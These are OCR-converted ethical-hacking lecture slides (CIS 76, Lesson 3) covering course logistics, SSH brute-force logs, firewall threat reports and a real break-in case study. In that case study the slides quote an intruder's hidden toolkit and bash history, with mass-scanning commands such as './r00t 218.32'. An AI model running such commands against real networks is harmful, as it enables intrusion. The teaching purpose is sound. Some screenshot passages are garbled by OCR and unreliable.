CIS 76 - Lesson 3

Rich's lesson module checklist

Slides and lab posted
WB converted from PowerPoint
Print out agenda slide and annotate page numbers

Flash cards

Properties

Page numbers
1stminute quiz

Web Calendar summary
Web book pages
Commands

Lab 3 posted and tested
Rouji VM created and online

Microsoft academic store
VMware academic store

Backup slides, whiteboard slides, CCC info, handouts on flash drive
Spare 9v battery for mic
Key card for classroom door
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Evading Network
Devices TCP/IP
Network and
Cryptograph
YESSE N Computer Attacks
Hacking Wireless CIS 76 Footprinting and
Networks ) ) Social Engineering
Ethical Hacking
Hacking

Web Servers Port Scanning

Embedded Operating Enumeration

Systems
Desktop and Server Scripting and

Vulnerabilities Programming

Student Learner Outcomes
1.Defend a computer and a LAN against a variety of different types of
security attacks using a number of hands-on techniques.

2.Defend a computer and a LAN against a variety of different types of 9
security attacks using a number of hands-on techniques.
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Introductions and Credits

Rich Simms

 HP Alumnus.

« Started teaching in 2008 when Jim Griffin went on
sabbatical.

« Rich’s site: http://simms-teach.com

And thanks to:

Steven Bolt at for his WASTC EH training.

Kevin Vaccaro for his CSSIA EH training and Netlab+ pods.

EC-Council for their online self-paced CEH v9 course.

Sam Bowne for his WASTC seminars, textbook recommendation and fantastic
EH website (https://samsclass.info/).

Lisa Bock for her great lynda.com EH course.

John Govsky for many teaching best practices: e.g. the First Minute quizzes,
the online forum, and the point grading system (http://teacherjohn.com/).
Google for everything else!
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Browse to:

http://simms-teach.com

Click the CIS 76 link.

Clickthe Calendar link.

Locate today’s lesson.

Find the Presentation slides for

the lesson and download for

easier viewing.

6. Clickthe Enter virtual classroom
link to join CCC Confer.

7. Log into Opus with Putty or ssh

command.

nhwn

Note: Blackboard Collaborate Launcher only
needs to be installed once. It has already
been downloaded and installed on the
classroom PC’s.
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@ Blackboard Co x ¥ B Goog

simms-teach.com

x,
™ E

Rich's Cabg 1 . The CIS 90 System Playground

CIS 90 Calend| () CCC Confer SIMMS VIRTUAL CLASSROOM , s

=sal x|
File Edit View Tools Window Help

v AUDK) & VIDEO

CIS 90 (Spring s ¢/

CIS 90 - Lesson 1 ba” FI'IW

Class Activity - Where are you now?

Course Home Grd

Tek

[22=)
v PARTICIPANTS.

O Benfi Snms.
&

IS A

O Rich-Simms
>3

Y8 /708N ¥is

w CHAT

Ber Semms 2480
Where is a good place to get

a used version of the

optional textbooks?

cis90lesso....pdf Rich-Serms 2:48PM

Amazon has some good
prices night now

A One or more login
sessions to Opus

Q CIS 76 website Calendar page
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1) Instructor gives you sharing privileges.

(") CCC Confer — RICH SIMMS VIRTUAL CLASSROOM
Eile Edit View Tools Window Help Elevated privigeTTTE =

« AUDIO & VIDEO

When User Account Control (UAC) is enabled on Vista, Application
Sharing in Blackboard Collaborate may be hosted with either standard or
elevated privileges. Elevated privileges are required to share
applications that use elevated privileges.

Select your desktop or an open application you would like to share.

Start Sh arin,g Elevated privileges are acquired via Tools > Application Sharing . . .
> Request Elevated Privileges. They can be relinquished via pns
Tools > Application Sharing > Yield Elevated Privileges (returning - _
you to standard privileges). If you are hosting an application jad 51121 deskiop
sharing session with standard privileges and you (or a person

remotely controlling your desktop or application) perform an

2) CI i C k Ove rl a p p i n g recta n g | es action that requires elevated privileges, Vista will prompt you

for consent via a UAC consent dialog. This will cause the

«+{WI Microsoft Word (winword.exe) 'Virtual classroom (locked).docx
CCC Confer (javaw.exe) 'CCC Confer — RICH SIMMS VIRTUAL
ticky Note

P- Microsoft PowerFoint (powerpnt.exe) 'cis0lesson01.ppbx - Mic

i S p rese nt th e n CI i C k i t a S W el I . If you are hosting an application sharing session with elevated é_ C:\Frogram Files (xB6)\putty.exe 'simbend0@oslab:~'

privileges and you perform an action that requires elevated
privileges, Vista will not prompt you for consent. Instead, the
action automatically will be either denied (if you are logged on

application sharing session to terminate. Also, without elevated

icon. If W h ite n Start S h arin g n text s e e T TR G L G

time than sharing the desktop (all of it or a region).

as a standard user) or allowed (if you are logged on as an
administrator).

D Never show this dialog again

3) Click OK button. ‘ | »

4) Select "Share desktop"
and click Share button.
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= Rich's CCC Confer checklist - setup cccCE) Gonfer

O
o

[ ] Preload White Board

(i) CCC Confer — 0 - RICH SIMMS

I [File Edit View Tools Window Help
H E EEE
l Load Content ] | Record | 0 ~ AUDIO & VIDEO - fh M

Audio Setup Wizard...

’
I

Microphone Settings...
Speaker Settings...

Maximum Simultaneous Talkers...
Adjust Microphane Level Up
Adjust Microphane Level Down

. ]

[ ] Connect session to Teleconference === e :
Tal Video ljust Speaker Level Down [}

|

. _ - Configure Telephone Conference.., ]

MAIN ROOM (2) S02HM PARTIEIPAITS T |§

. = Camera Settings... B

Session now connected ® Rich Simms U i

Moderator (You) Make Video Follow Moderator Facus 3

Make Video Follow Speak S;

Send Camera Snapshot To Whiteboard

to teleconference
—\’ % Teleconference P <
i

[ ]Is recordingon?

MZTET

Detach Panel
T . Ear - g L

+ AUDIO & VIDEO L -

@ [ Load Content ] [ Recording (® { HH 9

X

Red dot means recording—)

[ ] Use teleconferencing, not mic &

Should change
from phone
handset icon to
little Microphone
icon and the

)

|
Should be grayed out e Tal | [ video | SQ| Teleconferencing ...

e —— message displayed
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View Tools Comments Forms SharePoint Hg

g Y 2 e o 4 N —
(i$stegelle iy i = = [l = C [ simms-teach.com/docs/cis90/cis-90-TEST-1-Fall-12.pdf W=
e wHE =2 Qs 8- s 2
ez ~ 4 Part 1 - Flashc é (1 point each)
r ~ -
® CCCConfer-0-RIC... [o @[] || 1 i : | , £
w i ?
File Edit View Tools Window Help 90 3 [Q1] What com, er users logged in to the computer
d = Al
w AUDIO & VIDEO D %= o D [l€e Al
. hname
¢
W / {Q2] What environment variable is used by the shell to determine which directories to
= search when locating a command?
: - y =
b fhSuiehs) i boot o etc sbin (A2] \
=5 @ simben90@oslab:~

( Tak | (e @)

egin as: simbenS0
Is sixben90@oslab.cabrillo.edu's password:

& s —— ||| g E N

§ w PARTICIPANTS -8 Accdgs denied
o simbeNgogoslab.cabrillo.edu's password: A
O Rich Simms 04 # Current directory Last 1dgin: Mon Oct & 18:58:43 201:[ERRSIICERCEIaI
B8 riocersior d.com Fle Edit View Inventory Administration Plug-ns
J 5 d Templ;
. 2 o F () source o g g |Q Home b g Inventory b @) Nsan Templates
- p Snn as e /- & &
MAIN ROOM (3 SQ2H% || R R } destination o &
O RichSi QUG - = géleg:rvm
mms He iz .
[ - = 3 Nelcom B [cs 19z { [Alarms [ Pef
Teleconference v E z Serving Cab: Bl Foa 01 a Clear
| & What command copies th b = | Statue a
o= c — Terminal type? [ . Vsphere Cllent ) rﬂ
g Terminal type is & po1-rod E——— oo @ 1.
. CHAT /home/cis90/ simbd putty e ) = _,,-I

AM)-

Recent Tasks Name. Target or Status contains: = Clear X%

Hame | Target | status | Details | Tnitiated by

(

- Teleconference joined the Main Room.

1| | )

[#] Tasks @ Marms | [License Period: 331 days remaining [CISLABwsimms 7
=

“f | G > & 0 e

I IS

10/10/2012 |

[ ] layout and share apps =)
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ccc(E:)Confer

-
{i) CCC Confer- 0 - RICH SIMMS

File Edit View [Tools

| Windew Help

+ AUDIO &

Application Sharing
Audio

Breakout Rooms
Chat

Graphing Calculator

In-Seszion Invite

L4 MNew Page

Deleta Page

Interaction r
Moderator 4 [ ] VldeO (Webca m)
) — Polling v
[ Tk Profie b [ ] Make Video Follow Moderator Focus
Recorder b |
¥ PARTICIPA Session Plan r
Rich Sin Telephony »
B Tirner L4
E Video Camera Settings...
_ Whiteboard Maxirmum Simultaneous Carmeras...
HA R:i:;:“m = qﬁ;‘;;} ¥ Make Video Follow Maoderatar Focus
Maderator (You) Make Video Follow Speaker
Send Camnera Snapshot To Whiteboard
1
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K\
Rich's CCC Confer checklist - EImo CCGOGonfer S
R
e 1 Settings =]
Image Mate The "rotate image"

Return al windows to their normal position

button is necessary
. . . . . if you use both the
| side table and the
| T white board.

Recording setting
Video quality

Quite interesting
IR that they consider
. . oterval te S | you to be an
| Elmo rotated down to view side table — "expert” in order to
LIVE image - Image Mate -] (B3] [ - use th[s button’
oI :
Rotate
image . .
button .Elmo rotated up to view white board
LIVE image - Image Mate -3 (%
Fleesiectima a W
Rotate
image
button

Run and share the Image Mate
program just as you would any other
app with CCC Confer €sL_mMo
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gst. 18959 ™

ccc ) Confer Rich's CCC Confer checklist - universal fixes

Universal Fix for CCC Confer:

1) Shrink (500 MB) and delete Java cache

2) Uninstall and reinstall latest Java runtime

3) http://www.cccconfer.org/support/technicalSupport.aspx

Control Panel (small icons) General Tab > Settings... 500MB cache size Delete these
-~ '@JEVECDMNWW‘ (=] o] 'Tempmaryﬁ\esSeﬂings ﬂ‘ rDeIeteFiIesand Applications ﬂ1

General | Java [ Security [ Advanced

Kecp temparary s on my computer "
/1", Delete the following files?
LN

About
Location
View version information about Java Control Pane.
Select the location where temporary files are kept:

bout... 5

N siich DataLacalLow\SunJava\D Change... Trace and Log Files
letwork Settings
Cached Applications and Applets
Network settings are used when making Internet connections. By default, Java wil sk space
5 fl [] Installed Applications and Applets

|| use the network settings in your web browser, Only advanced users should madify

these settings. Select the compression level for JAR files: None -

i Set the amount of disk space for storing temporary files:
|| Temporary Internet Files | v so0l=] MB
- :

lications are stored in a special folder for quick execution
rs should delete files or me these settings. I

i DeleteFies... | | RestoreDefaults |

|| Files youuse ppl
later. Only advanced use

11
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Start

12
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Sound Check

Students that dial-in should mute their
line using *6 to prevent unintended
noises distracting the web conference.

Instructor can use *96 to mute all
student lines.

13
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TR AR SUnE T
Instructor: Rich Simms
Dial-in: 888-886-3951
Passcode: 136690

T
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Email me (risimms@cabrillo.edu) a relatively current photo of your face for 3 points extra credit
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First Minute Quiz

Please answer these questions in the order
shown:

Use CCC Conter White Board

email answers to: risimms@cabrillo.edu

(answers must be emailed within the first few minutes of class for credit)

15
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Network and Computer Attacks

Objectives

Describe the different types of malware.
Describe methods to protect against malware
attacks.

Describe the types of network attacks.
Identify physical security attacks and

vulnerabilities.

Quiz #2

* Questions

Housekeeping
They never stop knocking
* Sun-Hwa
« PA-500
SSH brute force attack
Captured Bot
Malware
TCP review
Session hijacking
Assignment
Wrap up

16
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Admonition

17
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Unauthorized hacking is a crime.

The hacking methods and activities
learned in this course can result in prison
terms, large fines and lawsuits if used in

an unethical manner. They may only be
used in a lawful manner on equipment you
own or where you have explicit permission
from the owner.

Students that engage in any unethical,
unauthorized or illegal hacking may be
dropped from the course and will receive
no legal protection or help from the

instructor or the college. 8
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Questions

19
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Questions

How this course works?

Past lesson material?

Previous labs?

e —ERRE, AoNELEEF tmAE—ERENARE—E
Chinese | EIKi=,
Proverb

He who asks a question is a fool for five minutes; he who does not ask a question
remains a fool forever.

20
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Roll Call



CIS 76 - Lesson 3 ¢ T I Iw

If you are attending class by watching the recordings in the
archives email the instructor at: risimms@cabrillo.edu to
provide roll call attendance.

23
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Housekeeping

Send me your student survey & agreement if you
haven't already.

Lab 2 due by 11:59PM (Opus time) tonight.

Graded labs are placed in your home directory on
Opus.

Answers to the quizzes are in /home/cis76/answers on
Opus.

Grades from last week posted on the website.

When I get your survey/agreement I will send you

your grading codename.
24
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Don't forget to
change your
default password
on Opus

25
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Cabrillo Networking Program Mailing list

Subscribe by sending an email (no subject or body) to:
networkers-subscribe@cabrillo.edu

e Program information

Certification information

Career and job information

Short-term classes, events, lectures, tours, etc.
Surveys

Networking info and links

26
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Microsoft Academic Webstore

Google |\=:|u=E]

*§ Google | @ (4 unread) Yaho... » | & Login toBlackb... « ' [E Facebook|And... * ' g Rich's Cabrillo... »/ [ Cabrillo College \Tﬁg
.
€ C (A | % http://msdn07.e-academy.com/eims/Storefront/Storefront.aspx?campus=cabc_cis&np1=112 > O~ F~ L4 M IC ro SOft SO l I Wa re fo r
@ Suggested Sites @ Web Slice Gallery Welcome to Facebo... o, Christopher C. Keys,... (] Other bookmarks

i .| students registered in

Navigation Menu

o a CIS or CS class at

HOW IT WORKS Saarch

PRIVACY POLICY Search is for product titles only. ( :a b ri I IO

Search by product titles

—

Get Your Personal CDs Here!

 Available after
; registration is final

SQL Server 2008

. | i (two weeks after first
B — & F Office. class)

OneNote 2007

L) s,
W’ndoug : B
Server2003

Windows Server  Windows Vista

Windows Vista Business DVD 2003 Business DVD

Windows Server 2008 DVD

m

Visual Studio .NET 2005 Visual Studio Expression Studio
Professional - Full Install 2008 Pro 2

i 1 Cia
e | npeere v Ldid :
| Office o~ B

Visio
Professional 2007

Office Groove 2007 OneNote 2007

i

Project Professional 2007 SharePoint Visio Professional  Visual Studio 2008 Professional Windows 7
2 Designer 2007 2007 Edition (x86) - DVD Professional (x64)
Windows 7 Professional (x86)
In order to obtain and install the software on this site, you must be an eligible user in the System. Your Program Administrator is
responsible for providing eligible users with 3 username and password. If you believe you are an eligible user but have not
“ received a password via email, please send email to your Program Administrator: Jim Griffin

To get to this page, go to http://simms-teach.com/resources and

click on the appropriate link in the Tools and Software section 27
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VMware Academic Webstore

* 1\ M Scgrandjury.org =

|
/ g Rich's Cabrillo ¢ » * (3 richsimms - Yah » " [] Santa Cruz Gran

, , kot - G « VMware software for

€ C A  ® e5.onthehub.com/WebStore/ProductsByMajorVersionListaspx?cmi_mnuMain=16a020b5-ed3c-df11-bdab-01 g | & \' . .
= a - students registered in

HIWE a CIS or CS class at

Cabrillo College - Computer and Informatlon Systems Ca b rl I IO

« Available after

- registration is final
7 e Ny (two weeks after first
VMware eLearin VMware Fusion Whnarelayer3  VWhware Workstaio class)

Mac 0S X)

VMware Workstation 7 VMware Workstation 8

VMware, Inc.

Youm st be a member d emic institution to q Ifyfor rderi d emically discounted software. h cademic ftvrare
discounts ff ed on this W bst t th e general p bl You vall b q este d to p vide = pro of f d filiation
duri g the registration process i d t tal k g demic pricing for an d educa

“ P owered by
OnTheHup
network e- academy
e ————

To get to this page, go to http://simms-teach.com/resources and 58
click on the appropriate link in the Tools and Software section
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They never
stop knocking

Sun-Hwa
PA-500
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@' root@sun-hwa: ~

—-—— pam unix Begin

Authentication Failures:
root (221.154.44.218): %61 Time (s)
root .154.44.194) : 954 Time (s)
root .18.238.19): 844 Time (s)
root .18.238.29): 823 Time (s)
root .18.238.9): 813 Time (s)
root .18.238.20): 786 Time (s)
root .194.44_.219): €99 Time (s)
root .18.238.32): €79 Time(s)
root .18.238.22): €31 Time (s)
root .1%4.44_.21€): 587 Time (s)
root .194.44.223): 573 Time (s)
root 194 .44 _227): 362 Time(s)

unknown (91.224.160.106): 29 Time(s) They I‘ea//y seem to

unknown (94.225.38.245): 14 Time (s) .
root (91.224.160.106): 12 Time(s) like Sun-Hwa
unknown (193.201.225.156): 7 Time (s)
root (94.225.38.245): & Time (s)
root (193.201.225.15€): 5 Time (s)
unknown (222.124.218.210): 5 Time (s)
unknown (58.244.173.44): 5 Time (s)
unknown (118.163.101.67): 4 Time (s)
unknown (218.14.157.178): 4 Time (s)
unknown (1.34.83.14): 3 Time(s)
unknown (109.71.138.13): 3 Time (s)
root (118.163.101.67): 2 Time (s)
root (202.29.22.167): 2 Time(s)
unknown (27.131.3.130): 2 Time(s)
games (58.244.173.44): 1 Time (s)
1p (109.71.138.13): 1 Time(s)
root (109.71.138.13): 1 Time(s)
root (218.14.157.178): 1 Time(s)
root (222.124.218.210): 1 Time (s)
root (70.35.196.91): 1 Time (s)
sshd (109.71.138.13): 1 Time(s)
unknown (27.254.67.185): 1 Time (s)
unknown (70.35.196.91): 1 Time (s)
Invalid Users:
Unknown Account: 78 Time (s)
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Top source countries
NoSweat : Saturday, September 10, 2016

L sweCaumy | B | Sessons

172.16.0.0-172.31.255.255 837G 20854k
192.168.0.0-192.168.255.255 1201 M 8905k
United States 195G 2711k
China 3914 M 464k
France 40.54 M 125k
Korea Republic Of 4.09M 105k
United Kingdom 2458 M 801

European Union 270M 776
Germany 676 M 552
Netherlands 6.11M 455
Gibraltar 143 M 352
Russian Federation 6.95 M 344
Ukraine 6.72 M 282
Japan 60465 k 196
Australia 24942 k 172
Poland 319 M 149
Singapore 59.47 k 147
Didn't know we had

a .

Spain 6071k 132
Taiwan ROC some [nany long 271M 131

Czech Republic . I 164.92 k 115
oreece distance students!
10.0.0.0-10.255.255.255 124.04 k 94
Romania 43910k a0
Viet Nam 343 M a7
Brazil 172.03 k 76
India 1.05M 60
Switzerland 24806 k 59
Chile 20322k 36
Turkey 4622 k kY

Ethiopia 3.94M 30
Thailand 9258 k 28
Hong Kong 3617 k 23
Mexico 163 27 k 21

Iran Islamic Republic Of 26.04 k 21

Jamaica 161.34 k 16
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Application and Threat Summary

Application Usage
[Risk Trond

Top 5 Applications.

mm

233314
dnu W01,407 3?,-133,254
snmpvl BT A2 BL6, 208
TN ITER 756,253,141
wenb-brovesing 22053 1,963,106,604
Threat Types
Tap § Spywarn
Count
oo RO Roquest Trafic a8
Top & WVulnerobiftios
L unermbiy | Coun]
M5-ROP Brute Foron Atiompd 81
[Homeck RDF scan 4

E5H User Authentication Brute Foeoa Atle.. 3

Bash Romode Code Execution Vidnerabiity 2

HTTP OFTIONS Mothod 1
Tap 5 Vinsos

[Wo matching data found

MoSweat - Sep 10, 2016

User Behavior
Top & Usars

mm

56240 10T,000.496

ru1 cis cabrilo.esu 54,533 17,817 406
voonter-&-0.cl.cabrill. 14838  5.565,000.412
ulab-volumio.cis.cabr.., 14,642 45174

wmsarserd.cis.cabnlio.. B05E 1,043,738

Top 5§ URL Categaorios

Top 5§ Dostination Courtrios

m
Unitod Stbes.

172.06.0.0-172.31 255 255 12!,31]'
152, 968.0L0- 162 168,266 255 .73
Mathoriands 18527
United Kingdom 1,785

Threat
Top 5 Annooers
| hddeam ] o]
A8 TEZ5. 164 25
158 18578, prolight.lonet. proip.pl 25
csh-183-177-165-80-dyn.prod-infinitum.co... 25
1855662 34 14
218201133150 &
Top & Victms
cislab, cis cabwilo.sdu 108
joff.cis. cabrillo.ndu 2
rick.gis.cabrillo.edu 1
cslob.cis.cabrilo.edu 1
ed cis cabriliooady 1
Top 5 Anacker Courttios

Jamaica 25
Poland 25
Moo 25
Nathariands 14

China ]

172.305.14
Fighest Fimk Uaer
Top & URL Caingones
Mo maiching data found
Top 5 Applcations
19,656,060
a5 14.834 B5.556,104,422
Top 5 Threats
Mo maiching data found
Trends
Bonowcm
BECE
530
L]
1HGE
e
Loy L= 0]
Theoats
478
=7
]
110
o
[Lind oan

Daily PA-500
report

32
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SSH Brute
Force
Example
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Live demo

https://simms-

teach.com/docs/cis76/cis76-brute-
force-ssh.pdf

34
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Captured Bot
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Q{ ChlUsers\Rich Simms\Documents\norton-finds-bot.bd - Notepad++ - X
File Edit Search View Enceding Language Settings Macro Run  Plugins Window 7 X

sHHEBERGa| sk ociay x| BE|HT SR MRl &Y
= CSSIA EH YouTube links bt |Ewhoami [=] nortondinds-bot b |

23 M

el

35 Category: BResolwed Security Risks

36 Date & Time,Risk,Activity,5Status, Recommended Action,Activity - Details

37 T/23/2016 5:55:12 LM, High,Hacktool detected by Virus scanner,Juarantined, Resolved - No Lcotion Regquired, Threat Actions performed: 1

38 T/23/2016 5:55:12 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat RActions performed: 1

g 7/23/2016 5:55:12 AM,High,Trojan.Gen.2 detected by Virus scanner,uarantined,Resolved - No Action Reguired,Threat Actions performed: 1

40 T7/23/2016 5:55:12 BAM,High,Trojan Horse detected by Virus scanner,Quarantined, Resolved - No Action Required,Threat Actions performed: 1

41 T/23/2016 5:55:12 AM,High,Hacktool detected by Virus scanner,(uarantined,Resolved - No Action Required,Threat Actions performed: 1

42 T/23/2016 5:55:12 LM, High,Hacktool.Rootkit detected by Virus scanner,Juarantined,Resolved - No Action Required,Threat Lctions performed: 1

43  T7/23/2016 5:55:12 BM,High,Hacktool.Rootkit detected by Virus scanner,Quarantined,Resolved - No Action Required, Threat Zctions performed: 1

44 7/23/2016 5:55:11 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Regquired,Threat Actions performed: 1

45  T7/23/2016 5:55:11 BM,High,Trojan Horse detected by Virus scanner,(Juarantined,Resolved - No Action Required,Threat Actions performed: 1

46 T/23/2016 5:55:11 AM,High,Trojan Horse detected by Virus scanner,uarantined,Resolved - No Action Required,Threat Actions performed: 1

47 T/23/2016 5:55:11 LM, High,Hacktool detected by Virus scanner,uarantined, Resolved - No Lction Regquired, Threat Actions performed: 1

48 T/23/2016 5:55:11 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat RActions performed: 1

TUE 7/23/2016 5:55:11 AM,High,Trojan Horse detected by Virus scanner,uarantined,Resolved - No Action Reguired,Threat Actions performed: 1

50 T7/23/2016 5:55:11 BAM,High,Trojan Horse detected by Virus scanner,(uarantined, Resolved - Wo Action Required,Threat Lotions performed: 1

&l T/23/2016 5:55:10 AM,High,Linux.R5T.B detected by Virus scanner,(Quarantined,Resolved - No Action Required,Threat Actions performed: 1

52 T/23/2016 5:55:10 LM, High,Linux.DDo3.M5tcream detected by Virus scanner,(uarantined,Resolved - Ho Action Required,Threat Lctions performed: 1

53 T7/23/2016 5:55:10 BAM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat Actions performed: 1

i 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Regquired,Threat Actions performed: 1

55 T/23/2016 5:55:10 BM,High,Hacktool detected by Virus scanner,(uarantined,Resolved - No LAction Reqguired,Threat Lctions performed: 1

56 T/23/2016 5:55:10 AM,High,Linux.DDoS.MS5tream detected by Virus scanner,{uarantined,Resolved - No Action Required,Threat Actions performed: 1

37 T/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Required,Threat Actions performed: 1

8 T/23/2016 5:55:10 AM,High, Hacktool.Rootkit detected by Virus scanner,Quarantined,BResolved - No Action Required,Threat Rctions performed: 1

S5 7/23/2016 5:55:10 AM,High,Hacktool detected by Virus scanner,Quarantined,Resolved - No Action Regquired,Threat Actions performed: 1

60  T/23/2016 5:55:10 LM, High,Trojan Horse detected by Virus scanner,uarantined,Resolved - No Lction Required,Threat Actions performed: 1

61 T/23/2016 5:55:10 AM,High,Linux.DDoS.MS5tream detected by Virus scanner,{uarantined,Resolved - No Action Required,Threat Actions performed: 1

62 T/23/2016 1:32:59 AM,Low,Tracking Cookies detected by Virus scanner, Removed,Resolved - No Action Regquired,Threat Actions performed: 2

63

Fd v
MNormal text file length : 136123 lines: 354 Ln:1 Col:1 Sel:0]0 Dos\Windows UC5-2 LEBOM INS

Norton got quite excited about this tarball
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scanner
- ll.' L - m
® Hich I—ackju::-u:-l detected Quarantined 7/23/2016 Ipdx contained threat
by Virus scanner 335:10 AM Hacktool Rootkit
Trojan Horse ey .
@ High detected by Virus Cuarantined //23/2016 = Risk
35510 AM = High
scanner g
Linux.DDo5.MStream ; Origin
. . . 7/23/2016 9
@ High detected by Virus Cuarantined 5:55:10 AM ﬁ. Mot Available
scanmer
: F Activity
winbox-v2.exe Threat Actions performed: 1
AT Db m o 1Y i kT e Ui e I
Go to Page:g Go [«] Page 1of 6 [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 Cuick Search Go
Severity Activity Status Date & Time -« Details
7/23/
Y o -
! o Recommended Action
Hacktool Rootkit 7/23/2016 Resolved - No Action Required
@ High detected by Virus Cuarantined S [ | - .
! 5:55:10 AM Restore  Options
scanner
® High Hack.tc:-c-l detected Quarantined T/23/2016 find contained threat
by Virus scanner 5:35:10 AM Hacktool
Trojan Horse ey .
@ High detected by Virus Cuarantined //23/2016 = Risk
5:55:10 AM = High
scanner g
Linux.DDo5.MStream , Origin
. . . 7/23/2016 9
@ High detected by Virus Cuarantined 5:55:10 AM ﬁ. Mot Available
scanner
. F Activity
winbox-v2.exe Threat Actions performed: 1
OAIT Domma st mdimes 1% [ T T e I
Go to Page:g Go [«] Page 1of 6 [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i . — 0O X
Security History [z
Show | Quarantine - 3 Cuick Search Go
Severity Activity Status Date & Time -« Details
7/23/
ol
! o Recommended Action
Hacktool Rootkit S Resolved - No Action Required
@ High detected by Virus Quarantined 7/25/2016 o
9 ¥ 5:55:10 AM | Restore  Options
scanner
7/23f ai <
® Hich I—ackju::-u:-l detected Quarantined 7/23/2016 Ipd1 contained threat
by Virus scanner 5:55:10 AM Trojan Horse
Trojan Horse i
@ High detected by Virus Quarantined R = Risk
5:55:10 AM = High
scanner g
Linux.DDo5.MStream , Origin
. . . 7/23/2016 9
@ High detected by Virus Cuarantined 5:55:10 AM ﬁ. Mot Available
scanner
. F Activity
winbox-v2.exe Threat Actions performed: 1
OAIT Domma st mdimes 1% [ T T e I
Go to Page:g Go [«] Page 1of 6 [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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i - O X
Security History [z
Show | Quarantine - 3 Cuick Search Go
Severity Activity Status Date & Time -« Details
7/23/
R ol
! o Recommended Action
Hacktool Rootkit 7/23/2016 Resolved - No Action Required
@ High detected by Virus Cuarantined S [ | - .
s 5:55:10 AM Restore  Options
scanner
T I *7 0 e c
® Hich I—ack.‘tc-c-l detected Quarantined 7/23/2016 %2 contained threat
by Virus scanner 335:10 AM Linux.DDoS.MStream
Trojan Horse ey .
@ High detected by Virus Cuarantined //23/2016 = Risk
5:55:10 AM = Hiagh
scanner g
Linux.DDo5.MStream Origin
: : . 7/23/2016 9
@ High detected by Virus Quarantined 5:55:10 AM ﬁ. Mot Available
scanner
. F Activity
winbox-v2.exe Threat Actions performed: 1
OAIT Domma st mdimes 1% [ T T e I
Go to Page:g Go [«] Page 1of 6 [+] More Options
fﬂm mport  Export Add to Quarantine Clear Entries Close
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IR I e b b SR b b b g b b d 2 b S db b S 4 b b i b b i b b i b b i b b S i b b S b b B b b d b b A b B b b B b b S 2 b S A b G b b i b b i i 4

This test user session looked very suspicious. Not only did it not match
the 33nnn account naming conventions but it appeared to originate in Spain!
(es = Espana)

R I e d b b S g b b g b b i 2 b S db b S d b b i b b i b b i b b S b b S i b b B b b g b b B B b b A b I B b b B b b B 2 b g d b i b b i b b i 4

[rsimms@opus 1ab01]1$ who
rsimms pts/1 2011-11-02 20:47 (dsl-74-220-66-39.dhcp.cruzio.com)
test pts/2 2011-11-02 17:09 (130.15.18.95.dynamic.jazztel.es)

[rsimms@opus 1lab01]$
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R I b d b b SR b b b g b b i 2 b S db b S 4 b b d b b d b i b b e b b S i b b S b b S b b I b b b b b I A S b B b b S 2 b S g b b i b b i b b i i 4

It matched an account in the cisl72 directory.
IR R b b b b i b b i b b b b A b b B b b A b b b b b A b b B b B i i B I A B b b B b 2 b b 4 b g i b 4 A b 4 b b A b b 4 b b dh b b i b b b b b b 4

[root@opus break-in-2011-11-02]# cat /etc/passwd | grep test
test:x:1102:1102::/home/cisl72/testuser:/bin/bash
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R I b d b b SR b b b g b b i 2 b S db b S 4 b b d b b d b i b b e b b S i b b S b b S b b I b b b b b I A S b B b b S 2 b S g b b i b b i b b i i 4

The home directory at first glance seemed ok, however when hidden

files were listed there appeared to be some "new" ones!
LR R b b b b b b b e b b b b b b b b b b b b b b b b b b b b b b b b b b i b b i b b I b b i b b b b db i b b b b b b b I b b b b b b (i b b b b b b b e

[root@opus ~]# 1ls /home/cisl72/testuser/ Yes. there is a file here. It is
<« / :

[root@opus testuser]# act_“ua//y a directory named
using the blank character!

[root@opus ~]# 1ls -a /home/cisl72/testuser/

.bash history .bash profile .emacs .mozilla .ssh
.as .bash logout .bashrc .mass .sc .unix

[root@opus testuser]# 1ls /home/cisl72/testuser/.mass

bind brute ftpd 1pd 1lpd.conf mail r00t rpc scan.conf ssh telnet
[root@opus testuser]#
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R R i b i b b S b b S b b S b b b b S d b S d b i S b b g b i A b b B b b S b b g b i b A b b S b b g b b B b b S b b i b b g b b A b b g 4

This command history shows the commands the attacker was running before

I killed the session
P AR b b b b b b b b b b b b b b b b b b b b b b i b b b b b b b b b b b b b b b b b b b b b b b b b I b b b b b b b b b b b b i b b b b b b b b

[root@opus ~]# cat /home/cisl72/testuser/.bash history

cd .sc

1s

rm -rf 93.185.pscan.22 mfu.txt
1s

nano vuln.txt

cat /etc/passwd

1s

cd ..

cd as

1s

rm -rf massrooter
nano a

cd

sls

1s

tar zxvi massrooter.tar.gz
1s

rm -rf massrooter.tar.gz
mv massrooter .mass
mv as .as

cd .mass

1s

chmod +x *

./r00t 218.32
./r00t 202.106 -d 6
<snipped>
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This command history shows the commands the attacker was running before

I killed the session
P AR b b b b b b b b b b b b b b b b b b b b b b i b b b b b b b b b b b b b b b b b b b b b b b b b I b b b b b b b b b b b b i b b b b b b b b

[root@opus ~]# cat /home/cisl72/testuser/.bash history

<snipped>

1s

./r00t 202.101 -d 8

1s

cd

cd .as

1s

./a 65.122

nano a

./a 65.122

nano a It is not a bot doing the editing with nano.
./a 65.122 Looks like a real hacker took over once the
nano a brute force login attack was successful.
./a 65.122

nano a

./a 65.122

nano a

./a 65.122

1s

cd

cd .unix

1s

./unix 65.122

./a 65.122

[root@opus ~]# 66



CIS 76 - Lesson 3 , :’: UI lw
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The test user was logged in using ssh and running the processes below
IR R b b b b i b b i b b b b A b b B b b A b b b b b A b b B b B i i B I A B b b B b 2 b b 4 b g i b 4 A b 4 b b A b b 4 b b dh b b i b b b b b b 4

[root@opus ~]# ps -ef | grep test

test 29736 1 0 17:09 ? 00:00:01 -bash

root 29737 3568 0 17:09 ? 00:00:00 sshd: test [priv]
test 29740 29737 0 17:09 2 00:00:00 sshd: test@pts/2
test 29741 29740 0 17:09 pts/2 00:00:00 -bash

test 31569 29741 0 21:11 pts/2 00:00:00 /bin/bash ./a 65.122
